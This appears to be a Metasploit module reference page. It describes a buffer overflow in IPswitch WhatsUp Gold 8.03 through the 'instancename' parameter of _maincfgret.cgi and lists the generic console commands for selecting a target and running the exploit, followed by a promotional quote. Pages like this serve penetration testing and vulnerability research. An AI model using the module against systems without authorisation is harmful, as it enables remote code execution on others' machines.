This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By posting a long string for the value of 'instancename' in the _maincfgret.cgi script an attacker can overflow a buffer and execute arbitrary code on the system.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/http/ipswitch_wug_maincfgret
msf exploit(ipswitch_wug_maincfgret) > show targets
...targets...
msf exploit(ipswitch_wug_maincfgret) > set TARGET < target-id >
msf exploit(ipswitch_wug_maincfgret) > show options
...show and set options...
msf exploit(ipswitch_wug_maincfgret) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security